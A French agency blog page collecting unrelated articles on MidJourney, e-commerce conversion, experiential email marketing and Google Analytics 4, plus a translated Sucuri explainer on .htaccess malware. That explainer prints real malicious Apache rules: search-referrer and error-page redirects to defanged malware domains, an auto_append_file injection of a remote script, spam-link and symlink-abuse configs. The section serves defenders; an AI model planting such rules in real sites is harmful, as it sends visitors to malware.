MidJourney : Une révolution dans la création d’images par IA

MidJourney représente une avancée significative dans le domaine de l’intelligence artificielle, se distinguant par sa capacité unique à convertir des descriptions textuelles en images captivantes. L’outil a été conçu avec une intention claire : prioriser l’aspect esthétique sur le réalisme pur. Cette approche a non seulement captivé les utilisateurs mais a également gagné l’admiration des artistes professionnels. En comparaison avec Dall-E, connu pour son réalisme photographique, MidJourney se veut une célébration de l’art pour l’art.

Contexte Historique et Développement

Avant l’arrivée de MidJourney, Dall-E Mini avait déjà introduit le public à l’idée d’images générées à partir de textes, devenant rapidement un phénomène culturel. Ces prédécesseurs ont ouvert la voie à une exploration plus poussée de ce que pourrait être l’art généré par IA, posant les bases pour la conception de MidJourney. Celui-ci a pris le relais en explorant plus profondément la relation entre les mots et les images, tout en se concentrant sur la création d’œuvres visuellement plaisantes et stylistiquement distinctives.

Fonctionnalités Innovantes et Expérience Utilisateur

MidJourney est plus qu’un simple outil de création : il s’agit d’une plateforme expérimentale conçue pour repousser les limites de l’imagination humaine. La version 3.0, enrichie par les retours des utilisateurs, démontre un engagement envers l’amélioration continue, s’adaptant aux goûts et aux préférences des utilisateurs pour améliorer la pertinence et la qualité des images. Grâce à une boucle de retour (feedback) d’informations bien structurée, MidJourney apprend de chaque interaction, ce qui permet d’augmenter la satisfaction et l’engagement des utilisateurs.

Applications diversifiées et impacts culturels

L’impact de MidJourney va au-delà du simple amusement :

  • 30 % des utilisateurs s’en servent à des fins professionnelles: Pour les professionnels du design, il offre un gain de temps considérable, permettant de générer rapidement des ébauches conceptuelles et de proposer plusieurs variantes créatives aux clients.
  • Environ 20% des utilisateurs s’en serviraient à des fins thérapeutiques, sur le plan personnel. L’outil a prouvé son potentiel thérapeutique, offrant aux individus un moyen d’expression unique pour naviguer à travers leurs émotions et leurs expériences. Cela ouvre de nouvelles perspectives sur l’utilisation de la technologie comme moyen de soutien émotionnel et créatif.

Au début, MidJourney a été exclusivement destiné à des applications non commerciales. Toutefois, la situation a évolué, permettant désormais son utilisation à des fins commerciales. Illustration de ce changement, le prestigieux magazine The Economist a fait appel à l’IA de MidJourney pour élaborer le design de sa couverture en juin 2022, marquant un tournant significatif dans l’adoption professionnelle de cet outil.

Tarification et accessibilité

Les changements dans la structure de tarification de MidJourney reflètent une transition vers un modèle d’entreprise plus durable tout en essayant de rester accessible. Les nouveaux forfaits visent à équilibrer les besoins des utilisateurs occasionnels contre ceux des professionnels, en offrant une variété d’options pour s’adapter à différents budgets et niveaux d’utilisation. Cette structure tarifaire est une tentative de démocratiser l’accès à l’IA artistique, tout en soutenant le développement continu de l’outil.

Processus créatif et communautaire

L’utilisation de MidJourney se démarque par son intégration unique avec Discord, favorisant une communauté active et engagée. Cette méthode d’interaction non conventionnelle permet une expérience utilisateur dynamique et collective, où les idées et les images sont partagées librement. Cela contribue à créer un environnement riche en inspiration et en collaboration, où les utilisateurs peuvent à la fois apprendre des autres et explorer les capacités de l’IA à transformer des mots en images.

Considérations éthiques et légales

La création artistique par IA soulève des questions éthiques et juridiques complexes, notamment en matière de propriété intellectuelle. MidJourney navigue dans ce territoire inexploré en établissant des directives claires et en s’engageant dans un dialogue ouvert avec sa communauté. Cependant, le paysage juridique reste incertain, et les débats sur la propriété des œuvres générées par IA continuent de faire rage, mettant en lumière la nécessité d’une législation adaptée. Les images à caractère violent ou adulte sont formellement prohibées sur la plateforme, avec une équipe d’environ quarante modérateurs qui surveillent en permanence les œuvres produites par les utilisateurs. Par ailleurs, l’équipe à l’origine de MidJourney désapprouve l’utilisation de son intelligence artificielle pour la fabrication de fausses images, telles que les « DeepFakes », considérant cette pratique comme hautement risquée.

Profil et philosophie du fondateur

David Holz, le cerveau derrière MidJourney, apporte une vision unique à l’intersection de la technologie et de l’art. Avec un passé riche en innovations, notamment en co-fondant Leap Motion, Holz a toujours été animé par le désir de repousser les limites du possible. Son approche avec MidJourney ne fait pas exception : il s’efforce de créer un espace où la technologie rencontre la créativité de manière ludique et profonde. L’équipe derrière MidJourney, bien que petite, est motivée par une passion pour l’exploration et l’expérimentation, ce qui se reflète dans l’évolution constante de l’outil.

Comparaison entre MidJourney et DALL-E

La comparaison entre MidJourney et DALL-E révèle des philosophies différentes en matière de création d’images. Tandis que DALL-E vise à reproduire des scènes avec un haut degré de réalisme, MidJourney se penche vers une interprétation artistique plus libre. Cette différence de cap souligne la diversité des approches dans le domaine de l’IA générative, offrant aux utilisateurs des choix variés selon leurs besoins créatifs et esthétiques. MidJourney se distingue par sa capacité à injecter une « âme » dans les créations, valorisant l’imperfection et la singularité artistique.

Perspectives et développement technologique

L’avenir de MidJourney semble prometteur mais rempli de défis, notamment en matière de scalabilité et de gestion des ressources. Avec une base d’utilisateurs en expansion rapide, la plateforme doit trouver des moyens de maintenir la performance tout en restant accessible. Les avancées technologiques continuelles de MidJourney, telles que les mises à jour vers la version V6, montrent un engagement envers l’amélioration et l’innovation. La capacité à générer des images plus réalistes et détaillées ouvre de nouvelles avenues pour l’expression créative, tandis que les améliorations fonctionnelles facilitent une expérience utilisateur plus intuitive et gratifiante.

Impact culturel et réflexions finale

MidJourney se positionne au cœur d’un changement culturel, redéfinissant les frontières entre l’art et la technologie. En permettant à des personnes sans formation artistique traditionnelle de créer des œuvres visuellement impressionnantes, il démocratise l’art et encourage une nouvelle forme d’expression créative. Cependant, cette démocratisation soulève également des questions sur la valeur de l’art et le rôle des artistes dans un monde où la technologie peut mimer, voire surpasser, la créativité humaine. L’avenir de MidJourney et des outils similaires reste à définir, mais une chose est sûre : ils continueront à provoquer des discussions, à inspirer la créativité et à repousser les limites de ce qui est possible.

Réflexions sur la Communauté et la Collaboration

Le succès de MidJourney réside également dans sa capacité à cultiver une communauté engagée et créative. En s’ancrant dans l’écosystème de Discord, MidJourney encourage non seulement la collaboration entre utilisateurs, mais favorise également un partage continu des connaissances et des créations. Cette dimension communautaire transforme l’acte de création d’images par IA en une expérience collective et enrichissante. L’échange constant d’idées et de feedback entre utilisateurs de différents horizons crée un environnement d’apprentissage vivant, où les barrières entre amateurs et professionnels se dissipent progressivement.

Défis et Responsabilités Éthiques

Alors que MidJourney continue de se développer, il doit naviguer dans un paysage complexe de défis éthiques et sociaux. Les implications de la création d’images générées par IA sont vastes, touchant à des questions de propriété intellectuelle, de représentation et de biais algorithmiques. MidJourney, comme d’autres outils similaires, se trouve au carrefour de ces questions, portant la responsabilité de développer des directives claires et équitables qui respectent à la fois les créateurs et les consommateurs de contenu. L’avenir de cette technologie dépendra en grande partie de la manière dont elle répondra à ces défis éthiques, en équilibrant innovation et respect des normes sociales et légales.

Impact sur les Industries Créatives

L’influence de MidJourney sur les industries créatives est profonde. En réduisant les barrières à l’entrée pour la création visuelle, il ouvre de nouvelles possibilités pour le design, la publicité, et au-delà. Les professionnels de ces secteurs peuvent utiliser MidJourney pour accélérer le processus de brainstorming et de prototypage, ce qui entraîne une transformation des workflows créatifs traditionnels. Cependant, cela soulève également des questions sur l’avenir des rôles créatifs et la valeur du travail artistique humain face à l’avancement rapide des technologies génératives.

Vers un Nouvel Horizon Créatif

En définitive, MidJourney représente plus qu’une simple plateforme de création d’images ; il symbolise une nouvelle ère de créativité augmentée par l’intelligence artificielle. En brisant les frontières traditionnelles de l’art et en ouvrant de nouveaux horizons pour l’expression créative, MidJourney invite à réfléchir sur l’avenir de l’art, la technologie, et leur intersection. La trajectoire de MidJourney, avec ses défis, innovations et contributions culturelles, offre un aperçu fascinant de ce que pourrait être le futur de la créativité. Alors que nous avançons dans cette ère nouvelle, il est crucial de naviguer avec conscience, en embrassant les possibilités tout en restant attentif aux responsabilités éthiques et aux impacts profonds sur notre société.

 

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Comprendre les logiciels malveillants .htaccess

Le fichier .htaccess est connu pour être la cible des hackers. Qu’il s’agisse d’utiliser le fichier pour cacher des logiciels malveillants, rediriger les moteurs de recherche vers d’autres sites avec des tactiques de référencement clandestines, cacher des portes dérobées, injecter du contenu, modifier les valeurs du fichier php.ini, les possibilités sont infinies.

De nombreux propriétaires de sites ignorent l’existence de ce fichier, car il commence par un « . », ce qui en fait un fichier caché. Les logiciels malveillants .htaccess peuvent être difficiles à localiser et à nettoyer sur un serveur, car ils vous permettent d’apporter de multiples modifications au serveur Web et à son comportement.

Qu’est-ce qu’un fichier .htaccess ?

Le fichier .htaccess est un fichier très important et puissant, spécifique aux environnements de serveurs Apache. Il permet aux administrateurs Web d’apporter des modifications à l’environnement dans son ensemble, ou par répertoire. Il peut autoriser ou refuser l’accès à certaines adresses IP, référents et agents utilisateurs.

Il est également utilisé pour activer des choses comme les « jolis permaliens » dans les environnements WordPress avec l’utilisation de mod_rewrite. Il s’agit d’un fichier très polyvalent, utile et puissant, et c’est précisément la raison pour laquelle les attaquants utiliseront ce fichier à mauvais escient pour atteindre leurs propres objectifs.

Malware de redirection .htaccess

L’une des attaques les plus courantes que nous avons rencontrées concerne les redirections .htaccess. Cela redirige les utilisateurs des moteurs de recherche vers des logiciels malveillants en utilisant le jeu d’instructions suivant :

RewriteEngine On

 

RewriteCond %{HTTP_REFERER} .*google.* [OR]

RewriteCond %{HTTP_REFERER} .*ask.* [OR]

RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]

RewriteCond %{HTTP_REFERER} .*baidu.* [OU]

..

RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]

RewriteCond %{HTTP_REFERER} .*flickr.*

RewriteRule ^(.*)$ hxxp://villusoftreit[.]ru/in.cgi?3 [R=301,L] 

Ce script vérifie le référent de toute personne visitant le site à partir des moteurs de recherche répertoriés, puis redirige l’utilisateur vers une page contenant un malware. (I.E. hxxp://villusoftreit[.]ru/in.cgi?3) Les propriétaires de sites Web sont plus susceptibles de visiter leur site en entrant le domaine directement dans leur barre d’adresse, plutôt qu’en passant par un moteur de recherche. Il est donc peu probable que le propriétaire du site remarque l’infection avant d’en être informé par quelqu’un.

Voici un autre exemple de redirection .htaccess, sauf qu’avant la publication, il y avait des centaines d’espaces blancs avant le « RewriteCond », ce qui le rend plus difficile à trouver dans un éditeur de texte :

RewriteEngine On

 

RewriteOptions inherit

RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]

RewriteRule .* hxxp://globalpoweringgatheringon[.]com/in.php?n=30 [R,L] 

Un autre type d’attaque courante impliquant le fichier .htaccess consiste à rediriger les pages d’erreur vers des logiciels malveillants, ce qui peut être encore plus difficile à détecter. En effet, la majeure partie du site Web fonctionne normalement. La redirection ne se déclenchera que sur les pages inexistantes. Voici un exemple de ce que l’on peut trouver avec ce type d’attaque :

RewriteEngine On

 

ErrorDocument 400 hxxp://powercrystal[.]ru/inject/index.php

ErrorDocument 401 hxxp://powercrystal[.]ru/inject/index.php

ErrorDocument 403 hxxp://powercrystal[.]ru/inject/index.php

ErrorDocument 404 hxxp://powercrystal[.]ru/inject/index.php

ErrorDocument 500 hxxp://powercrystal[.]ru/inject/index.php 

Autre exemple :

ErrorDocument 400 hxxp://arthurlundt.cz[.]cc/ht_er_docs/

ErrorDocument 403 hxxp://arthurlundt.cz[.]cc/ht_er_docs/

[...tronqué...]

ErrorDocument 404 hxxp://nicomagen.cz[.]cc/ht_er_docs/

ErrorDocument 405 hxxp://nicomagen.cz[.]cc/ht_er_docs/ 

(Mauvaise) utilisation de auto_append_file

Nous avons également remarqué que les attaquants ajoutent des logiciels malveillants au site en modifiant la valeur PHP « auto_append_file » pour charger les logiciels malveillants à partir d’un emplacement caché, au lieu de les rediriger via un fichier .htaccess. Par exemple :

 

php_value auto_append_file "/tmp/13063671977873.php" 

Le contenu de « /tmp/13063671977873.php » est ajouté à chaque fichier PHP, ce qui donnera quelque chose comme ceci :

 

<script src="hxxp://nicomagen.cz[.]cc/jquery.js"></script> 

 

Il s’agit d’un malware javascript commun que nous voyons dans de nombreux types d’infections différentes, allant des redirections malveillantes aux scanneurs de cartes de crédit. Périodiquement, les attaquants changent les domaines malveillants utilisés afin d’éviter la détection. Cette opération est généralement effectuée pour chaque site à l’aide d’une liste de blocage.

 

.htaccess utilisé pour générer des liens de spam

Une autre façon dont nous avons vu le fichier .htaccess utilisé de manière abusive est la génération de liens de spam :

BEGIN WordPress

 

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteRule ^[a-zA-Z0-9_-]+/([0-9]{1,7})([a-zA-Z0-9]{4})[a-zA-Z0-9_-]$ index.php?smsite=$2&smid=$1 [L]

RewriteBase /

RewriteRule ^index\.php$ - [L]

RewriteCond %{REQUEST_FILENAME} !-f

Réécriture du critère %{REQUEST_FILENAME} !-f !-d

RewriteRule . /index.php [L]

</IfModule>

Ce malware utilise une expression régulière qui, associée à un malware de spam dans la structure du fichier, peut générer des centaines de liens de spam sur le site Web. Cela apparaîtra ensuite dans les résultats de recherche de Google et d’autres moteurs de recherche et nuira au référencement du site Web.

.htaccess utilisé avec des bombes symlink

Une attaque très courante dans les environnements WHM/cPanel est l’utilisation abusive de liens symboliques. Si la protection contre les liens symboliques est désactivée dans WHM, les attaquants peuvent utiliser les liens symboliques pour se déplacer latéralement dans l’environnement et infecter d’autres sites Web ou simplement créer un flot de liens symboliques spammy aléatoires répartis dans la structure des fichiers.

Ceci est rendu possible en partie grâce à l’utilisation d’un fichier .htaccess placé dans le répertoire en question :

 

Options +FollowSymLinks

RépertoireIndex Index.html

Options +Index

AddType texte/plain .php

AddHandler server-parsed .php

Le serveur recevra ainsi l’ordre de suivre les liens symboliques jusqu’à leur destination et aidera les attaquants à diffuser leurs logiciels malveillants dans l’environnement.

Malware de nuisance

L’utilisation abusive des fichiers .htaccess pour interdire l’accès aux fichiers d’un site Web est une autre attaque fréquente ces derniers temps. Par exemple, nous avons vu des attaquants jeter des centaines, ou parfois des milliers de fichiers .htaccess dans toute la structure de fichiers du site Web avec les éléments suivants :

 

    <FilesMatch ‘.(php|php5|phtml)$’>

    Order allow,deny

    Deny from all

    </FilesMatch>

Il s’agit d’un fichier .htaccess très simple qui ne fait rien d’autre qu’empêcher l’exécution de php.

 

Ce fichier peut fonctionner comme une mesure de renforcement lorsqu’il est placé dans un répertoire tel que ./wp-content/uploads. Cependant, lorsqu’il est disséminé dans l’ensemble de la structure de fichiers, il peut perturber la fonctionnalité du site Web et rendre le panneau wp-admin inutile. Pour ce faire, il empêche l’administrateur du site Web d’effectuer des opérations de maintenance, des mises à jour ou de mettre hors service l’ensemble du site.

 

Détection et réponse

Si vous pensez que votre site a été attaqué ou n’est pas protégé, découvrez notre pack :

Cet article a été traduit d’un article en anglais : Sucuri

Infographie « chiffres clés du E-commerce en France en 2023 »

Le e-commerce est une révolution majeure dans le monde du commerce moderne. Ce concept consiste en l’achat et la vente de biens et de services via Internet, permettant ainsi aux consommateurs du monde entier de faire des achats en ligne en toute simplicité. L’e-commerce offre une expérience d’achat pratique, rapide et accessible à tout moment, rendant ainsi possible la transaction de produits et de services sans quitter le confort de son domicile. En outre, cette forme de commerce a ouvert de nouvelles opportunités pour les entreprises, grandes et petites, en leur offrant une vitrine virtuelle mondiale pour présenter leur gamme de produits et toucher un public plus large. Grâce à l’e-commerce, les frontières géographiques ne sont plus un obstacle, et le commerce se déploie désormais à une échelle globale, transformant radicalement la manière dont nous consommons et interagissons avec le monde commercial.

Découvrez en quelques chiffres les dernières statistiques du e-commerce en France en 2023 :

Un joli site, c’est bien, mais qui convertit, c’est mieux !

Lorsque l’on se lance dans la création d’un site web, il est facile de se focaliser sur l’aspect visuel, le design et l’esthétique pour offrir aux visiteurs une expérience agréable. Cependant, un site web attrayant ne suffit pas à garantir votre succès en ligne. La véritable réussite réside dans la capacité du site à convertir ses visiteurs en clients ou à les inciter à accomplir une action spécifique, comme s’inscrire à une newsletter ou remplir un formulaire par exemple. Dans cet article, nous allons explorer pourquoi un joli site est important, mais surtout pourquoi un site qui convertit est essentiel pour atteindre vos objectifs business sur le web.

L’importance d’un « joli site web »

Un design soigné et esthétique est la première étape pour attirer les visiteurs sur votre site. Un site attrayant visuellement crée une impression positive, suscite l’intérêt et reflète le professionnalisme de votre marque. Le design permet de capter l’attention des visiteurs dès leur arrivée, encourageant ainsi leur exploration plus approfondie. À contrario, si vous surfez sur différents sites et que vous tombez sur un site web au design des années 2000, vous allez instinctivement vous dire que l’entreprise n’est pas moderne et que ces prestations ne sont peut-être pas de bonne qualité, au vu de l’image que reflète son site internet (et peut-être à tort !).

Par conséquent, un site web qui se limite à un design attrayant sans se soucier de l’optimisation des conversions peut ne pas atteindre les résultats escomptés. Si les visiteurs quittent votre site sans accomplir une action souhaitée, tout l’effort consacré au design devient inutile. Un beau site qui ne convertit pas reste inefficace pour atteindre vos objectifs commerciaux.

Ce qu’un site web peut vous apporter en tant qu’entreprise

Un site web qui convertit transforme les visiteurs en clients, en abonnés ou en leads. Il maximise le retour sur investissement (ROI) de votre présence en ligne. Voici quelques raisons pour lesquelles un site web qui convertit est essentiel :

Augmentation de vos ventes et de vos revenus

Un site web conçu pour la conversion peut influencer positivement le processus d’achat des visiteurs, les incitant à passer à l’action et à effectuer un achat. Cela se traduit par une augmentation des ventes et des revenus pour votre entreprise grâce aux bonnes pratiques réalisées pour que votre site web devienne votre commercial et votre vitrine.

Création d’une relation de proximité

Un site web qui convertit vous permet de créer une base de clients fidèles. En encourageant les visiteurs à s’inscrire à une newsletter ou à rejoindre une communauté, vous avez l’occasion de développer des relations durables avec votre audience.

Génération de leads qualifiés

La conversion ne se limite pas seulement aux ventes. Un site web efficace peut également générer des leads qualifiés, c’est-à-dire des prospects intéressés par vos produits ou services. Ces leads peuvent être exploités ultérieurement pour alimenter votre entonnoir de vente. Vous pouvez alors créer des campagnes de lead nurturing par la suite pour garder vos prospects au chaud !

Optimisation de votre expérience utilisateur

Un site web axé sur la conversion prend en compte l’expérience utilisateur (UX). En proposant un parcours utilisateur fluide, des formulaires simples et des appels à l’action clairs, vous facilitez l’interaction avec votre site, ce qui encourage les visiteurs à agir. Un site web convivial et intuitif encourage les visiteurs à rester plus longtemps, à explorer davantage de pages et à agir. Assurez-vous que votre site est bien organisé, avec une navigation fluide et une mise en page attrayante pour susciter l’intérêt.

Comment optimiser votre site pour qu’il convertisse ?

Appel à l’action (Call-to-Action) clair

Les appels à l’action bien conçus sont essentiels pour diriger les visiteurs vers les actions que vous souhaitez qu’ils accomplissent. Utilisez des CTA percutants, bien visibles et pertinents pour encourager les conversions. Testez différentes formulations et couleurs pour déterminer ce qui fonctionne le mieux pour votre public cible.

Contenu engageant pour encourager les conversions

Un contenu de qualité et pertinent pour votre audience cible peut captiver l’attention des visiteurs et les inciter à s’engager davantage. Utilisez des histoires convaincantes qui vont attiser la curiosité, des visuels attrayants qui parlent aux utilisateurs et des médias interactifs pour susciter l’intérêt et encourager l’action de ces visiteurs.

Optimisation pour mobile

Avec une part croissante du trafic internet provenant d’appareils mobiles, il est essentiel d’optimiser votre site web pour les smartphones et les tablettes. Assurez-vous que votre site est entièrement responsive et que les formulaires et CTA sont facilement accessibles sur les petits écrans.

Offres spéciales et promotions

Les offres spéciales, les réductions et les promotions limitées dans le temps peuvent créer un sentiment d’urgence chez les visiteurs, les encourageant à passer à l’action plus rapidement. Soyez stratégique dans la manière dont vous proposez ces offres pour maximiser leur impact sur les conversions.

Preuve sociale pour renforcer la confiance

La preuve sociale, telle que les témoignages clients, les avis positifs, les statistiques ou les études de cas, peut renforcer la confiance des visiteurs envers votre marque ou vos produits. Utilisez ces éléments de manière convaincante pour démontrer la valeur de ce que vous offrez.

Analyse des performances pour optimiser les conversions

Utilisez des outils d’analyse web pour suivre le comportement des visiteurs sur votre site. Identifiez les pages qui ont un fort potentiel de conversion, et utilisez les données pour apporter des améliorations ciblées à votre site web.

Chat en direct pour une assistance instantanée

Les chatbots offrent une assistance en temps réel aux visiteurs, répondant à leurs questions et résolvant leurs problèmes instantanément. Intégrer cette fonctionnalité peut améliorer la confiance des visiteurs et les inciter à passer à l’action.

Personnalisation pour une expérience utilisateur adaptée

Utilisez des techniques de personnalisation pour afficher des recommandations de produits ou de contenus pertinents en fonction des intérêts de chaque visiteur. Une expérience personnalisée peut augmenter les chances de conversion.

Conclusion

En mettant en œuvre ces techniques pour améliorer les conversions de votre site web, vous pouvez optimiser votre présence en ligne et atteindre vos objectifs commerciaux. N’oubliez pas d’analyser les résultats, d’adapter vos stratégies en fonction des retours des visiteurs, et de continuer à chercher des moyens d’améliorer constamment votre taux de conversion. Avec une approche proactive, vous pouvez transformer votre site web en une machine à convertir et stimuler votre succès en ligne.

Comment intégrer le marketing expérientiel dans vos e-mails marketing ?

Qu’est-ce que le marketing expérientiel ?

Le marketing expérientiel désigne les stratégies par lesquelles une entreprise fait participer son public à des événements réels. Pensez aux expériences en magasin, aux expositions, aux conférences, aux salons professionnels, à la distribution d’échantillons et à tout ce qui oblige les gens à toucher, à sentir et à expérimenter ce que vous avez à offrir.

Alors que le marketing expérientiel se déroule généralement dans des contextes de « face-à-face », une certaine pandémie mondiale a fait en sorte que la plupart des événements se déroulent en ligne ; les entreprises ont donc dû faire preuve de créativité pour maintenir l’intérêt du public via un écran d’ordinateur. Par conséquent, les entreprises ont dû faire preuve de créativité pour maintenir l’intérêt de leur public via un écran d’ordinateur.

Dans le cadre d’un emailing, il peut s’agir de questionnaires approfondis, de l’inscription à des ateliers en ligne ou de la soumission d’histoires pertinentes pour votre produit ou vos services. L’essentiel est d’évoquer leurs émotions d’une manière que la simple lecture d’informations sur votre entreprise ne ferait que rarement (voire jamais).

Pourquoi vous avez besoin du marketing expérientiel : 5 avantages

Il y a plusieurs avantages à développer des campagnes de marketing expérientiel – et tous ont pour résultat final de développer des connexions avec votre marque et d’établir la confiance. Plus précisément, ce type de marketing :

1. Promouvoir votre marque

Le marketing expérientiel est un moyen efficace d’accroître la notoriété d’une marque. Lorsque vos campagnes de marketing expérientiel deviennent connues (même si c’est seulement dans votre secteur de niche), les gens reconnaissent immédiatement votre marque.

2. Apporter de la valeur ajoutée

Chaque fois qu’un consommateur s’engage avec votre marque dans une campagne de marketing expérientiel, il en retire quelque chose de tangible :

  • un échantillon de produit,
  • une expérience formidable,
  • une photo ou une vidéo mémorable,
  • une histoire à raconter,
  • un lien émotionnel.

Vous leur donnez quelque chose à raconter. Ce n’est pas la même chose de voir une publicité pour des cours de danse ou de cuisine que de pouvoir participer à une chorégraphie ou de goûter réellement un repas. Et dans le cadre de l’email marketing, vous pouvez guider votre public tout au long du processus grâce à des tutoriels en ligne, des appels en visioconférence et des webinaires.

3. Engager le public

Faire participer votre public signifie que l’expérience sera mémorable. Vous serez toujours cette entreprise qui a fourni une évaluation approfondie de leurs besoins après qu’ils aient répondu à un questionnaire complet, ou fait une méditation guidée, ou exigé d’eux qu’ils s’impliquent dans ce que vous proposez. Vous vous démarquerez ainsi de la mer d’emails qui encombrent leur boîte de réception.

4. Favoriser le partage social

Comme le marketing expérientiel apporte de la nouveauté, les gens sont plus susceptibles d’en parler à leurs amis et à leur famille. Vous devenez connu comme l’entreprise qui fait XYZ. Les gens vous contactent pour avoir une expérience directe de ce que vous promouvez. Et comme vous pouvez facilement inclure des blogs, des vidéos et des images sur les profils de médias sociaux, vous pouvez également inclure un hashtag spécifique à l’événement pour promouvoir les partages et l’engagement sur les plateformes de médias sociaux.

5. Favoriser la fidélisation des clients

Lorsque les gens établissent un lien émotionnel avec une entreprise, ils sont beaucoup plus susceptibles de devenir fidèles à cette marque, ce qui est essentiel pour la fidélisation des clients à long terme. Pensez à toutes les personnes qui achètent des produits Apple plutôt que n’importe quoi d’autre sur le marché, quel que soit le prix ou le temps d’attente pour les obtenir. Ils savent qu’ils obtiendront des produits de haute qualité. Ils savent qu’ils seront faciles à utiliser. Certains le font peut-être uniquement pour avoir l’air cool, mais cela n’a pas d’importance. Lorsque les consommateurs perçoivent que vous répondez à leurs besoins, ils continueront à vous rechercher.

Les différentes actions de marketing expérientiel

Il existe de nombreuses façons de développer des campagnes de marketing expérientiel. Celle qui vous conviendrait le mieux dépend de votre buyer persona et de ce que vous essayez d’accomplir. Voici quelques exemples populaires :

Démos de produits

Les démonstrations de produits sont un excellent moyen d’attirer les prospects qui se trouvent en bas de l’entonnoir de vente. Ils ont déjà fait leurs recherches, ils sont conscients des options qui s’offrent à eux, et la démonstration de votre produit peut leur donner l’impulsion finale pour découvrir que vous êtes la solution idéale pour répondre à leurs besoins. Laissez-les l’essayer gratuitement et répondez à toutes leurs questions et préoccupations afin qu’ils puissent constater par eux-mêmes à quel point vous êtes un expert du secteur.

Cours et séminaires en ligne

Celui-ci est en or, puisqu’il est devenu normal de suivre des cours et des séminaires en ligne dans un monde post-pandémie. Les universités, les salles de sport, les cours de cuisine et les conférences commerciales ont tous suivi cette voie, et les résultats sont plutôt bons. Vous pouvez même augmenter votre liste d’adresses e-mail si, en plus d’ajouter une invitation dans vos e-mails marketing, vous créez une landing page utilisant l’événement comme aimant à prospects – demandant aux visiteurs leur adresse e-mail en échange d’une inscription à votre cours ou à votre webinaire.

Expériences uniques

De nombreuses entreprises sont devenues expertes dans l’organisation d’expériences uniques pour leur public cible. Pensez à la campagne 2018 de M&M’s pour le lancement d’un nouveau parfum de bonbon : Ils ont organisé plusieurs pop-ups où les gens pouvaient essayer des cocktails à thème et prendre des photos dans des décors adaptés aux médias sociaux. Dans le cadre d’un e-mailing, vous pourriez demander aux gens de participer à un sondage ou à une enquête et d’ajouter des photos en utilisant un hashtag spécifique pour avoir une chance de gagner.

Évènements web

Tout le monde sait ce qu’est un événement en direct, alors restons-en à ceux que vous pouvez intégrer dans une campagne d’email. En fonction de ce que vous voulez promouvoir, vous pouvez organiser des événements de réseautage en ligne, des webinaires, des spectacles ou des discours en livestream.

Échantillons gratuits

Tout le monde aime les choses gratuites. Alors envoyez-leur quelque chose. Un nouveau produit ou une mise à jour ? Une version unique de quelque chose qui existe déjà ? Ou encore, vous avez un stock supplémentaire provenant d’une vente récente ? Utilisez ces articles pour attirer de nouveaux clients, fidéliser d’anciens clients ou célébrer l’anniversaire d’une personne.


Événements sur invitation uniquement

Les gens aiment se sentir spéciaux. Et les événements sur invitation sont un excellent moyen d’utiliser la segmentation des prospects à bon escient. Vous pouvez organiser ce type d’événements pour les personnes qui répondent à certains critères – les personnes correspondant à un buyer persona spécifique, celles qui ont effectué un achat récent ou les clients réguliers.

Exemples de campagnes de marketing expérientiel

L’une des meilleures façons de trouver des idées pour vos campagnes de marketing expérientiel est de regarder ce que d’autres entreprises ont fait avec succès, par exemple :

Disney

Disney met à la disposition de ses invités et des visiteurs en ligne MyDisneyExperience. Cette plateforme permet aux gens de définir un grand nombre de leurs préférences : Réserver des chambres d’hôtel, acheter des billets pour les parcs, sélectionner des passes rapides pour leurs attractions préférées, relier leur compte à leurs amis et à leur famille afin qu’ils puissent partager les détails de leur réservation et leurs photos de vacances, voir les temps d’attente en temps réel pour les attractions et les spectacles, et entrer les informations de leur carte de crédit afin de pouvoir payer leurs achats dans les parcs en tapant sur leur bandeau magique au lieu de devoir apporter leur portefeuille.

Coca Cola

Il y a un musée de la Coupe du monde de la FIFA à Zurich, où le géant du soda a offert aux visiteurs l’expérience de jouer avec le footballeur Xherdan Shaqiri.

Vous pouviez poser pour des photos devant un écran vert dans une configuration de réalité augmentée qui rivalise avec les films à petit budget du monde entier. Cela n’a peut-être pas fait des visiteurs des champions de la Coupe du monde, mais cela leur a permis de vivre une expérience mémorable et amusante.

Comme vous pouvez le constater, vous devrez faire preuve de créativité pour intégrer ce type de marketing dans vos e-mails de marketing. Mais si vous le faites efficacement, vos clients reviendront vous voir.

Source : https://www.business2community.com/email-marketing/what-is-experiential-marketing-and-how-to-incorporate-it-into-marketing-emails-02452291

Comment Google Analytics 4 aide les entreprises à s’adapter aux changements dans le paysage de la vie privée en ligne

Outil statistique de premier plan et gratuit, Google Analytics vous permet d’examiner le trafic de votre site web. Aussi gardez-vous un œil sur les différents résultats et statistiques liés à vos campagnes marketing. Ceci, en utilisant une méthode de suivi unique. Au fil des ans et des versions, Google Analytics a réussi aujourd’hui à intégrer des données essentielles relatives au e-commerce, importantes pour mieux cerner les habitudes d’achat des clients. De quoi aider les entreprises à s’adapter au mieux aux différents changements dans le paysage de la vie privée en ligne. Faisons un point dans cet article.

Les innovations embarquées par Google Analytics 4

Google Analytics 4 embarque de nombreuses options les unes aussi importantes que les autres. Dans le but de comprendre au mieux les désirs des utilisateurs, il fallait trouver de nouvelles formules. Google Analytics 4 assure de toucher au but par de nombreux apports.

Mieux cerner le comportement client

La dernière version de Google Analytics se veut plus intuitive, intelligente et prédictive que la version initiale. Pour atteindre cet objectif, elle se base sur un machine learning, qui contribue grandement à améliorer votre connaissance client grâce à des outils et des analyses prédictives.

Ainsi, vous pouvez disposer d’informations fiables et utiles au discernement total de vos clients, qu’importe l’appareil ou la plateforme dont ils se servent. Google Analytics 4 vous donne une vue plus totale sur le mode par lequel vos abonnés échangent avec vous.

Grâce au machine learning ainsi qu’à l’intelligence artificielle, Google Analytics 4 est à même de générer systématiquement des insights consommateurs. Ces derniers vous assurent de prendre l’essentiel des données dont vous disposez.

Par le truchement de tous nouveaux indicateurs prédictifs, Google Analytics 4 vous renseigne sur les tendances qui émergent de vos données. De quoi vous assurer l’anticipation des agissements de vos clients et prendre des mesures palliatives si besoin.

